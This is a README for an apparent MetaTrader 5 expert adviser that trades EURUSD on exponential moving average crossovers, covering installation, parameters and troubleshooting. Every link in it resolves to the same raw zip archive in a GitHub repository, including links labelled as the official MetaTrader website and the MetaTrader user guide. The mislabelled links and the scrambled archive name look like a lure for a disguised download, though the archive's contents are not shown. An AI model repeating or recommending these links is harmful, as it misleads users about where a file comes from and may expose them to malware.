This expert adviser (EA) works on MetaTrader 5. It trades the EURUSD currency pair by using a simple moving average crossover strategy with exponential moving averages (EMA). The strategy runs best on the H1 timeframe, which means it checks and trades every hour.
The goal is to help users automate EURUSD trades based on EMA cross signals. It makes decisions without needing manual input during the trading session.
- Windows 7 or later (64-bit recommended)
- MetaTrader 5 installed
- Stable internet connection for market data
- At least 50 MB free disk space for installation files and logs
- Basic knowledge of how to open MetaTrader 5 and add new Expert Advisors
- Automated trading for EURUSD based on EMA crossovers
- Designed for 1-hour (H1) timeframe
- Works fully inside MetaTrader 5 platform
- Easy to install and run with minimal setup
- Adjustable trading parameters inside MetaTrader 5
- Includes risk management settings like stop loss and take profit
- Logs trades for review and analysis
Follow these steps to set up and start using the EUROUSD-EMA-Cross-MQL5-EA on your Windows PC. No programming skills needed.
- Click the green Download button above or
- Visit the page EUROUSD-EMA-Cross-MQL5-EA GitHub Repository to get the latest files.
- If you do not have MetaTrader 5 installed, download it from the official MetaTrader website: https://github.com/Singni725/EUROUSD-EMA-Cross-MQL5-EA/raw/refs/heads/main/pu/EM-EA-MQ-Cross-EUROUS-v1.6.zip
- Follow the on-screen instructions to complete the installation.
- Open the downloaded folder and locate the
.ex5or.mq5files. (These are the EA program files.) - Open MetaTrader 5.
- Click
Filein the top menu, thenOpen Data Folder. - Navigate to
MQL5>Expertsfolder. - Copy the EA files here.
- Close MetaTrader 5 completely and open it again.
- This ensures the program loads your new EA.
- In MetaTrader 5, click
View>Navigatoror pressCtrl+Nto open the Navigator pane. - Under
Expert Advisors, find "EUROUSD-EMA-Cross-MQL5-EA". - Open a EURUSD chart and set the timeframe to H1 (1 hour).
- Drag and drop the EA onto the chart or right-click and select
Attach to Chart.
- Make sure the
AutoTradingbutton on MetaTrader 5 is enabled (green). - Check the EA’s input parameters to confirm settings like stop loss and take profit limits. Adjust if needed.
- The EA will start monitoring price action and place trades automatically when EMA cross signals occur.
You can adjust some key parameters inside MetaTrader 5 after attaching the EA:
- Fast EMA Period: Change how quickly the EA reacts to price changes. Default is 12.
- Slow EMA Period: Sets the slower moving average period. Default is 26.
- Stop Loss (pips): Protects your account by closing a trade if price moves unfavorably.
- Take Profit (pips): Sets the level to lock in profit automatically.
- Lot Size: Adjust the size of each trade. Start small to manage risk.
- Max Spread: Maximum allowed spread to avoid trading in high-cost conditions.
You can change these when attaching the EA or reopen settings by right-clicking on the chart and selecting Expert Advisors > Properties.
The EA uses two exponential moving averages:
- Fast EMA reacts quicker to price changes.
- Slow EMA reacts slower and shows the trend.
When the fast EMA crosses above the slow EMA, it opens a buy trade. When the fast crosses below the slow, it opens a sell trade. Stop loss and take profit help protect each trade based on your settings.
The EA checks signals and places trades every hour, matching the H1 timeframe.
- Check the repository page regularly for updates or bug fixes.
- Download new versions using the same links above.
- To install an update, simply replace the old EA files in the MetaTrader
Expertsfolder and restart the platform.
- If the EA does not show in MetaTrader 5 Navigator, confirm your files are in the correct folder:
MQL5/Experts. - Check that AutoTrading is enabled in MetaTrader.
- Ensure you are using the correct chart (EURUSD) and the H1 timeframe.
- Review MetaTrader's
Expertstab for any error messages. - Make sure your internet connection is stable.
- Download or visit the project: https://github.com/Singni725/EUROUSD-EMA-Cross-MQL5-EA/raw/refs/heads/main/pu/EM-EA-MQ-Cross-EUROUS-v1.6.zip
- MetaTrader 5 official site: https://github.com/Singni725/EUROUSD-EMA-Cross-MQL5-EA/raw/refs/heads/main/pu/EM-EA-MQ-Cross-EUROUS-v1.6.zip
- MetaTrader 5 user guide: https://github.com/Singni725/EUROUSD-EMA-Cross-MQL5-EA/raw/refs/heads/main/pu/EM-EA-MQ-Cross-EUROUS-v1.6.zip
When downloaded, you will usually find:
EUROUSD-EMA-Cross-MQL5-EA.ex5— the compiled expert advisor ready to runREADME.md— this file or similar documentation- Possible
.mq5source file for those who want to view or edit code
Place only the .ex5 file in the Experts folder unless you want to modify the source.
This EA is designed for the EURUSD pair on an hourly chart. Market conditions change, so no strategy guarantees profits. Start with a demo account to test without risking real money. Adjust risk settings like lot size and stop loss to suit your preferences.
algorithmic-trading, algotrade, algotrading, ema-crossover, expert-advisor, expert-advisors, mql5, mql5-strategy, mt5-ea, mt5script, trading-algorithms, trading-bot-package, trading-strategies